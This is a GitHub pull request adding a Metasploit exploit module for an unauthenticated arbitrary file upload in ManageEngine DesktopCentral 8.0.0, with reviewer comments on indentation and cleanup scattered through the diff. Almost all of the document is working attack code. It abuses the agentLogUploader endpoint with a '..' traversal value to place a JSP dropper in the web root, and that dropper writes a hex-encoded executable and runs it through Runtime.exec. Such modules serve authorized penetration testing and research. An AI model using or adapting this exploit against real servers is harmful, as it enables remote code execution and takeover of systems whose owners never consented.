Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add DesktopCentral arbitrary file upload exploit. #2650

Merged
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
140 changes: 140 additions & 0 deletions modules/exploits/windows/http/desktopcentral_file_upload.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,140 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The full module should follow the indentation standard described here: https://github.com/rapid7/metasploit-framework/wiki/Indentation-Standards

The important thing is: "Using two-space soft tabs" which translates as "one indent level == two-space soft tab" :)


include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'DesktopCentral AgentLogUpload Arbitrary File Upload',
'Description' => %q{
This module exploits an arbitrary file upload vulnerability in DesktopCentral 8.0.0 below build 80293.
A malicious user can upload a JSP file into the web root without authentication, leading to arbitrary code execution.
},
'Author' =>
[
'Thomas Hibbert' # thomas.hibbert@security-assessment.com
],
'License' => MSF_LICENSE,
'References' => [['URL', 'http://security-assessment.com/files/documents/advisory/Desktop%20Central%20Arbitrary%20File%20Upload.pdf']],
'Payload' => {},
'Platform' => 'win',
'Arch' => ARCH_X86,
'Targets' =>
[
[ 'Desktop Central server / Windows', {} ],

],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 11 2013'))

register_options(
[
Opt::RPORT(8020), Opt::RHOST()
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You don't need to register RHOST

], self.class)
end

def upload_file(filename, contents)
res = send_request_cgi(
{
'uri' => normalize_uri("agentLogUploader?computerName=DesktopCentral&domainName=webapps&customerId=..&filename=#{filename}"),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please use the vars_get option to send the GET parameters to send_request_cgi

'method' => 'POST',
'data' => contents,
'ctype' => "text/html",
})

if res and res.code == 200
return true
else
return false
end
end

def check
res = send_request_cgi({
'uri' => normalize_uri("agentLogUploader"),
'method' => 'POST'
})

if res and res.code == 200
return Exploit::CheckCode::Detected
end

return Exploit::CheckCode::Safe
end

def exploit
@peer = "#{rhost}:#{rport}"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It isn't needed anymore, the Msf::Exploit::Remote::HttpClient provides a peer method

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

which returns exactly "#{rhost}:#{rport}" I mean :)


print_status("#{@peer} - Uploading JSP to execute the payload")

exe = payload.encoded_exe
exe_filename = rand_text_alpha_lower(8) + ".exe"

dropper = jsp_drop_and_execute(exe, exe_filename)
dropper_filename = rand_text_alpha_lower(8) + ".jsp"

if upload_file(dropper_filename, dropper)
register_files_for_cleanup(exe_filename)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What about the dropper :? I guess it should be cleaned too.

register_files_for_cleanup(dropper_filename)
@dropper = dropper_filename
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looks like the @dropper instance variable isn't used on the code, can it be deleted? just asking, hope I'm not forgetting somethings :S

else
fail_with(Exploit::Failure::Unknown, "#{@peer} - JSP upload failed")
end

print_status("#{@peer} - Executing payload")
send_request_cgi(
{
'uri' => normalize_uri(dropper_filename),
'method' => 'GET'
})
end

def jsp_drop_bin(bin_data, output_file)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|

jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|

jspraw << %Q|int numbytes = data.length();\n|

jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
jspraw << %Q|{\n|
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|
jspraw << %Q| comb <<= 4;\n|
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
jspraw << %Q|}\n|

jspraw << %Q|outputstream.write(bytes);\n|
jspraw << %Q|outputstream.close();\n|
jspraw << %Q|%>\n|

jspraw
end

def jsp_execute_command(command)
jspraw = %Q|\n|
jspraw << %Q|<%\n|
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
jspraw << %Q|%>\n|

jspraw
end
def jsp_drop_and_execute(bin_data, output_file)
jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)
end
end